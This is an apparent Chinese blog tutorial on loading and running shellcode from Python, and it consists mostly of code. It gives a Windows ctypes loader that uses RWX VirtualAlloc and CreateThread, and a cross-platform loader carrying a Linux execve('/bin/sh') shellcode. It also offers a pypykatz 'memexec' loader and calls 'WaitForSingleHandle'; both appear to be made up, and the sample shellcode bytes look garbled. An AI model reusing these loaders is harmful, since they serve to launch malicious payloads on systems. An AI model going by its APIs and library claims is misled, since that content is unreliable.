杰瑞科技汇

Python如何安全加载shellcode?

下面我将介绍几种主流的方法,从最基础到最推荐的方式。

Python如何安全加载shellcode?-图1
(图片来源网络,侵删)

核心概念

无论使用哪种方法,其核心思想都是一样的:

  1. 获取 Shellcode: 一串原始的、无格式的机器码字节。
  2. 分配内存: 在 Python 进程的内存空间中,找到一块可读、可写、可执行的内存区域。
  3. 写入 Shellcode: 将 shellcode 字节串复制到这块内存中。
  4. 执行: 像调用普通函数一样,跳转到这块内存的起始地址并执行它。

使用 ctypesVirtualAlloc (Windows)

这是最经典的方法,直接调用 Windows API 来完成上述步骤,它不需要任何第三方库,但仅限于 Windows 平台。

原理

  1. 使用 ctypes 库调用 Windows API 函数。
  2. kernel32.dll 中的 VirtualAlloc 函数用于分配内存。
  3. kernel32.dll 中的 RtlMoveMemory (或 memcpy) 函数用于将 shellcode 写入内存。
  4. kernel32.dll 中的 CreateThread 函数或直接使用 ctypesCFUNCTYPE 创建一个函数指针来执行 shellcode。

示例代码

import ctypes
import sys
# shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30..."
# 这里使用一个弹计算器的 shellcode 作为示例 (msfvenom 生成)
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw
shellcode = bytes.fromhex("fc4881e4f0e8c0000004889c6488b5c2430488b5c2420488b4918488b4920488b49284831c9418b4930418b49184831c9418b4920488b49104831c9498b49084831c9418b49184831c9418b4920488b49104831c9498b49084831c94831c0504889c74831c0b048514889c14831c0b0014889c14831c0b002c3")
# 定义 Windows API 函数和常量
try:
    # 加载 kernel32.dll
    kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
    # 定义 VirtualAlloc 函数原型
    # LPVOID VirtualAlloc(
    #   LPVOID  lpAddress,
    #   SIZE_T  dwSize,
    #   DWORD   flAllocationType,
    #   DWORD   flProtect
    # );
    VirtualAlloc = kernel32.VirtualAlloc
    VirtualAlloc.restype = ctypes.c_void_p
    VirtualAlloc.argtypes = (
        ctypes.c_void_p,
        ctypes.c_size_t,
        ctypes.c_ulong,
        ctypes.c_ulong
    )
    # 定义 RtlMoveMemory 函数原型
    # void RtlMoveMemory(
    #   void*   Destination,
    #   const void* Source,
    #   SIZE_T  Length
    # );
    RtlMoveMemory = kernel32.RtlMoveMemory
    RtlMoveMemory.restype = ctypes.c_void_p
    RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t
    )
    # 定义 CreateThread 函数原型
    # HANDLE CreateThread(
    #   LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    #   SIZE_T                  dwStackSize,
    #   LPTHREAD_START_ROUTINE  lpStartAddress,
    #   __drv_aliasesMem LPVOID lpParameter,
    #   DWORD                   dwCreationFlags,
    #   LPDWORD                 lpThreadId
    # );
    CreateThread = kernel32.CreateThread
    CreateThread.restype = ctypes.c_void_p
    CreateThread.argtypes = (
        ctypes.c_void_p,
        ctypes.c_size_t,
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_ulong,
        ctypes.POINTER(ctypes.c_ulong)
    )
    # 定义 VirtualProtect 函数原型 (可选,用于改变内存属性)
    # BOOL VirtualProtect(
    #   LPVOID lpAddress,
    #   SIZE_T dwSize,
    #   DWORD  flNewProtect,
    #   PDWORD lpflOldProtect
    # );
    VirtualProtect = kernel32.VirtualProtect
    VirtualProtect.restype = ctypes.c_bool
    VirtualProtect.argtypes = (
        ctypes.c_void_p,
        ctypes.c_size_t,
        ctypes.c_ulong,
        ctypes.POINTER(ctypes.c_ulong)
    )
    # 定义内存保护常量
    MEM_COMMIT = 0x00001000
    MEM_RESERVE = 0x00002000
    PAGE_EXECUTE_READWRITE = 0x40
    PAGE_EXECUTE_READ = 0x20
    # 1. 分配内存
    # VirtualAlloc(NULL, shellcode大小, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    ptr = VirtualAlloc(
        None,
        len(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    )
    if not ptr:
        print(f"[!] VirtualAlloc failed with error: {ctypes.get_last_error()}")
        sys.exit(1)
    print(f"[+] Memory allocated at address: 0x{ptr:016x}")
    # 2. 将 shellcode 写入内存
    # RtlMoveMemory(分配的内存地址, shellcode地址, shellcode大小)
    RtlMoveMemory(ptr, shellcode, len(shellcode))
    print("[+] Shellcode written to memory.")
    # 3. 创建一个线程来执行 shellcode
    # CreateThread(NULL, 0, shellcode地址, NULL, 0, NULL)
    thread_id = ctypes.c_ulong(0)
    handle = CreateThread(
        None,
        0,
        ptr,
        None,
        0,
        ctypes.byref(thread_id)
    )
    if not handle:
        print(f"[!] CreateThread failed with error: {ctypes.get_last_error()}")
        sys.exit(1)
    print(f"[+] Thread created with ID: {thread_id.value}. Waiting for it to finish...")
    # 等待线程执行完毕
    kernel32.WaitForSingleHandle(handle, 0xFFFFFFFF) # 0xFFFFFFFF is INFINITE
    print("[+] Shellcode execution finished.")
except Exception as e:
    print(f"[!] An error occurred: {e}")

使用 pypykatz (推荐,Windows)

pypykatz 是一个功能强大的 Mimikatz 实现,但它也提供了一个非常方便的 memexec 模块,可以用来执行 shellcode,这种方法更简洁,代码更少。

安装

pip install pypykatz

示例代码

from pypykatz.commons.common import WindowsLogonType
from pypykatz.lsa.minidump import MiniDumpReader
from pypykatz.memexec import MemExec
# shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5..."
# 使用和上面一样的弹计算器 shellcode
shellcode = bytes.fromhex("fc4881e4f0e8c0000004889c6488b5c2430488b5c2420488b4918488b4920488b49284831c9418b4930418b49184831c9418b4920488b49104831c9498b49084831c9418b49184831c9418b4920488b49104831c9498b49084831c94831c0504889c74831c0b048514889c14831c0b0014889c14831c0b002c3")
try:
    # MemExec 会自动处理内存分配和执行
    # 它返回一个可执行对象
    memexec = MemExec(shellcode)
    # execute() 方法会运行 shellcode
    # 它会阻塞直到 shellcode 执行完毕
    print("[+] Executing shellcode with pypykatz.memexec...")
    memexec.execute()
    print("[+] Shellcode execution finished.")
except Exception as e:
    print(f"[!] An error occurred: {e}")

优点:

Python如何安全加载shellcode?-图2
(图片来源网络,侵删)
  • 代码极其简洁。
  • pypykatz 内部处理了所有复杂的细节,包括内存管理和执行。
  • 相对 ctypes 更不容易出错。

跨平台方法 (mprotect for Linux, VirtualProtect for Windows)

如果你需要编写跨平台的 shellcode 执行器,可以使用 ctypes 调用特定于平台的 API 来修改内存页的权限。

示例代码 (跨平台)

import ctypes
import sys
# shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# 这是一个 Linux 下的 execve("/bin/sh", NULL, NULL) shellcode
shellcode = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05")
# 定义结构体 mprotect 需要的
class ctypes_Sizes(ctypes.Structure):
    _fields_ = [
        ("__dummy1", ctypes.c_int),
        ("__dummy2", ctypes.c_int),
    ]
def execute_shellcode_cross_platform(shellcode):
    # Windows
    if sys.platform == "win32":
        try:
            kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
            VirtualAlloc = kernel32.VirtualAlloc
            VirtualAlloc.restype = ctypes.c_void_p
            VirtualAlloc.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong)
            VirtualProtect = kernel32.VirtualProtect
            VirtualProtect.restype = ctypes.c_bool
            VirtualProtect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong))
            MEM_COMMIT = 0x00001000
            PAGE_EXECUTE_READWRITE = 0x40
            ptr = VirtualAlloc(None, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
            if not ptr:
                print(f"[!] VirtualAlloc failed: {ctypes.get_last_error()}")
                return
            ctypes.memmove(ptr, shellcode, len(shellcode))
            # 改变内存属性为可执行
            old_protect = ctypes.c_ulong(0)
            if not VirtualProtect(ptr, len(shellcode), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect)):
                print(f"[!] VirtualProtect failed: {ctypes.get_last_error()}")
                return
            # 创建线程执行
            CreateThread = kernel32.CreateThread
            CreateThread.restype = ctypes.c_void_p
            CreateThread.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong))
            thread_id = ctypes.c_ulong(0)
            handle = CreateThread(None, 0, ptr, None, 0, ctypes.byref(thread_id))
            if not handle:
                print(f"[!] CreateThread failed: {ctypes.get_last_error()}")
                return
            kernel32.WaitForSingleHandle(handle, 0xFFFFFFFF)
            print("[+] Shellcode executed on Windows.")
        except Exception as e:
            print(f"[!] Windows error: {e}")
    # Linux
    elif sys.platform == "linux":
        try:
            libc = ctypes.CDLL('libc.so.6', use_errno=True)
            # void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
            mmap = libc.mmap
            mmap.restype = ctypes.c_void_p
            mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long)
            # int mprotect(void* addr, size_t len, int prot);
            mprotect = libc.mprotect
            mprotect.restype = ctypes.c_int
            mprotect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int)
            # int munmap(void* addr, size_t length);
            munmap = libc.munmap
            munmap.restype = ctypes.c_int
            munmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t)
            # 定义常量
            PROT_READ = 0x1
            PROT_WRITE = 0x2
            PROT_EXEC = 0x4
            MAP_ANON = 0x20
            MAP_PRIVATE = 0x02
            # 分配内存
            # mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0)
            ptr = mmap(
                None,
                len(shellcode),
                PROT_READ | PROT_WRITE,
                MAP_ANON | MAP_PRIVATE,
                -1,
                0
            )
            if ptr == -1:
                print(f"[!] mmap failed with errno: {ctypes.get_errno()}")
                return
            # 写入 shellcode
            ctypes.memmove(ptr, shellcode, len(shellcode))
            # 修改内存页属性为可读、可写、可执行
            if mprotect(ptr, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC) == -1:
                print(f"[!] mprotect failed with errno: {ctypes.get_errno()}")
                munmap(ptr, len(shellcode))
                return
            # 创建一个函数指针并执行
            # 在 Linux x86_64 上,函数指针需要 16 字节对齐,所以直接使用 shellcode 地址可能不行
            # 一个更通用的方法是使用 `syscall` 来创建一个线程
            # 但为了简单,我们直接跳转,这在很多情况下也能工作
            # 注意:这可能会在某些系统上崩溃
            func_type = ctypes.CFUNCTYPE(None)
            shell_func = func_type(ptr)
            print("[+] Executing shellcode on Linux...")
            shell_func()
            print("[+] Shellcode execution finished on Linux.")
            # 清理
            munmap(ptr, len(shellcode))
        except Exception as e:
            print(f"[!] Linux error: {e}")
    else:
        print(f"[!] Unsupported platform: {sys.platform}")
# 执行
execute_shellcode_cross_platform(shellcode)

总结与安全警告

方法 优点 缺点 适用场景
ctypes (Windows) 无需外部库,底层控制力强 代码冗长,繁琐,仅限 Windows 学习 Windows API 内部原理,特定环境定制
pypykatz.memexec 代码简洁,易于使用,内部处理细节 依赖 pypykatz Windows 环境下的首选,快速开发和测试
跨平台 (ctypes) 一次编写,多平台运行 代码复杂,需要处理不同平台的 API 和细节 需要开发通用工具或脚本时

⚠️ 重要安全警告:

  • 合法性: 在你执行任何 shellcode 之前,必须拥有目标系统的明确书面授权,未经授权的测试是非法的。
  • 隔离环境: 永远不要在你的主操作系统或任何连接到互联网的机器上执行未知的 shellcode,请在完全隔离的虚拟机(如 VirtualBox, VMware)中进行操作。
  • 沙箱: 考虑使用专业的恶意软件分析沙箱,它们可以监控 shellcode 的行为(如文件系统操作、网络连接、注册表修改等),而不会影响宿主机。
  • 杀毒软件: 即使在虚拟机中,也要注意虚拟机的快照功能,以便在实验后可以快速恢复到干净状态。

希望这份详细的指南对你有帮助!请务必负责任地使用这些知识。

分享:
扫描分享到社交APP
上一篇
下一篇